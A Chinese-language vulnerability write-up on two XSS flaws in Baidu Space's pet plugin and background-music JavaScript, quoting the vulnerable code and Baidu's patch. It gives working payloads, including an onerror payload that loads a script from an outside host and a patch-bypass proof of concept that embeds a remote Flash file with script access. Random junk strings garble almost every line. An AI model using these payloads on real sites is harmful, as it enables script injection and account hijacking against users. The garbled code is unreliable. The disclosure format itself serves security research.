百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
2 {8 B& N8 M8 [" q/ c
0 p. x( Y& [6 B8 H1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
2 H6 T3 Z+ i' d+ c, [/ t9 Z2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
, |* y2 |) V0 h' O
8 j: a! ~4 @4 y6 ]8 \0 j i% ^8 q将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
0 _2 ^* }) o) j, l其中BdUtil.insertWBR为
$ n8 i" d5 e9 D, u. lfunction(text, step) { - y" P- m+ a) {1 ~& ]3 d1 H! ^2 f
var textarea = textAreaCache || getContainer();
. m* |* M# u' k0 t if (!textarea) {
& G0 F8 V; z7 ?/ R3 d% ^: Y return text; # ]; y1 [ S! K' x. h8 P% I2 `$ d$ N
}
5 v' @" c+ x2 @* u+ r) Y2 @& i, u textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
, S9 R# `! O( L var string = textarea.value; ( [! ]6 A2 I! r Z1 T8 R
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
2 ^4 X% h. H( k R9 O var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); " H$ ?- D4 \* m, f2 J
return result; + A. B7 O( j" O. Y# F' H
}
7 A5 o/ Q" M: R; a在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
x3 b9 _+ g1 f8 A O* N4 K5 Z$ @测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
4 V- |1 A$ {( F. [ ! e8 \! C2 i+ D) _' u
二:creatbgmusic() Dom-Xss Bug + i0 [6 r/ L$ p% s" C
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 ( r {# X! k, w. _" ^
$ _" m7 @4 k/ f- u
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
# N5 X% Z) J6 F$ }
/ Q( r% Z, Q2 s& g, R9 D9 qfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { 0 t6 J( c- E. U! {
//传入的murl赋值到bgmusic1和bgmusic2中 3 X% b! N7 B7 g5 p5 U
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 + T' N) O* P& b+ P( Y" E7 Z/ J
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; % X- _# Q q* g4 ~. Z
if (musicnum <= 1) { & x7 w0 f" S" B
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
' r- v% |3 d. [( j }
$ X: N( n! t* {, t& o/ U3 q7 C9 f bgmusic1 += "</OBJECT>"; + `! ]. y, P0 W) e& {/ F$ [
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
3 m5 t& M0 O8 W) j2 e& v if (musicnum <= 1) {
$ v W& y) M" h( z% N5 ] bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 8 t! S# N. z" @+ [5 \& G2 v
}
" o7 [* o3 r" q# x bgmusic2 += "> </EMBED>";
9 ^' ]/ U+ \; x2 P var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . J! b. c, S# I6 F( J
var bgmus = detectWMP(); : v- O8 t3 K* y& H( h: N
if (functype == "FckMusicHelper") {
" f/ M' K' g8 Y* X: j if (bgmus.installed) {
& j' I+ t: e' r* R& m. J if (bgmus.type == "IE") {
0 `% T/ F3 Y' y' d& \9 i return bgmusic1; " e+ c3 }( ]4 q1 ~2 t, w- i! H
} else if (bgmus.type == "NS") { " a5 a$ i5 I% f
return bgmusic2;
& w$ @. N1 j7 G" \0 K& K }
1 _6 L. @" g# e v8 _3 ?+ H* W8 w% C4 R } else {
9 Y* E1 u T. f B; q. g; ^+ U return bgmusic3;
( I k9 e8 c1 k# {( Y4 M% d: o/ V } 1 }6 y) E: U) V* m0 o
} else { 7 j& M% A+ M: P) Y( p: O
if (bgmus.installed) {
# X% y3 [& c* M: }& u2 D //document.write 直接输出bgmusic变量 导致xss / U* K& ?# D; B
if (bgmus.type == "IE") {
- l& x& Z) @) f+ w document.write(bgmusic1);
7 L6 w. k% P& B' x } else if (bgmus.type == "NS") {
& X; a/ p. c9 _ document.write(bgmusic2); , I& N% y& X; k+ L/ F: g
}
1 \6 |# T3 H: n- C2 s1 w } else { ' s8 o( z2 m% c, q H E$ |" @& v
document.write(bgmusic3); 7 X1 N# l5 |8 h4 T" S
}
0 Y0 g* ?9 ]' i* }7 Q. z: D3 H. T6 d return ""; / G; t; B( j. x" Z9 ?
}
7 Q! w4 c7 E; C7 J/ }2 M- P$ F} 0 u4 f* N$ R- A; a7 I
; c$ c, W8 A2 H" Y, X+ k T' q
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 9 C6 [3 S5 s* `
) y: D! N& j! k2 j0 Y* ufunction initBlogTextForFCK(){
5 P! C1 W4 D6 V5 B//fck init music
& f' p8 e5 r+ iif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} * o! v, i, _5 l! G
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
( i- U2 I2 P2 F5 a0 N9 Zvar isAutoPlay=true;
; t _8 T# e' D0 z+ q# B$ B* Lfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
1 g8 V5 G1 l# }! U4 D var img=imgBox;
0 A2 {& [& w3 v6 L6 j if(img.getAttribute(’rel’)){ ! @, [ t6 E/ E5 Z" _
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 1 m7 Y! c' f6 _. N& R# k
var musicDiv = document.createElement("SPAN");
B3 C; O7 [& { var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 9 ~' e: h& J: x# S4 Q5 v2 e
3 \( q' |# ~: c, p4 L r8 [ ..........................
+ g. I) l1 S! {( b2 v L
3 f9 u& N1 b" [5 ~1 O //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
2 A; M# K- F0 J* [ var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
2 ~1 ]* d& ] \ C, a( y shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 5 y' Y0 q' p* p3 E
musicDiv.innerHTML=shtml; / h2 }' r. M# n4 R' G4 G
i--;n--; * b7 K9 a0 W1 B/ H- l6 j
}
3 y9 P8 ]- ], ]$ X. y' A5 M6 w8 h; o% C}
1 `5 k* s5 m! P$ x6 p
3 X8 |; t& O* P; P/ U7 ~8 H a! R从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
% C( q) g- O x
: s( P# [) Y, {7 B& l/ t% E: s. f测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> # J6 ^) ?3 [2 I+ M. m5 n5 e6 L
. @& r; e& f( B- S8 W9 y
等待官方补丁
. m3 B4 ^2 O/ f& [6 a; v. T0 D' D7 n/ z2 W# r0 @, l
update 2010年5月13日
* o* y4 R4 U- Y% }" M' S9 e2 W$ F. y
官方补丁:
) A a; N- D' ]' C& A# i. a- J" \8 F+ Z6 E; y
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
2 x& Q; z) A7 ~3 }# x+ }, x: m改为: 0 j& A6 v/ q9 p1 x
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); ) x3 ~+ Y: U3 _
! ]5 f7 D, x- K: F
update 2010年5月13日 21:50:37 ( W8 P+ G" ^* l
; L& ~9 }; Y$ J) o! V' C补丁存在漏洞 没有过滤" 可以继续跨: : ^3 ~0 [$ w' \
* K' w- Z" X# ~( r) t$ rNEW POC:
, x% D4 A6 ]: v/ y
( E& @) B# G- f; `) z<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
7 o% q Y3 v' n7 j( a
1 K& i% ~) F4 p+ V$ Z5 X/ _" Sallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
5 [5 m$ Y9 Z' v1 u2 J9 T8 \
. j4 f2 v5 v) ~7 r |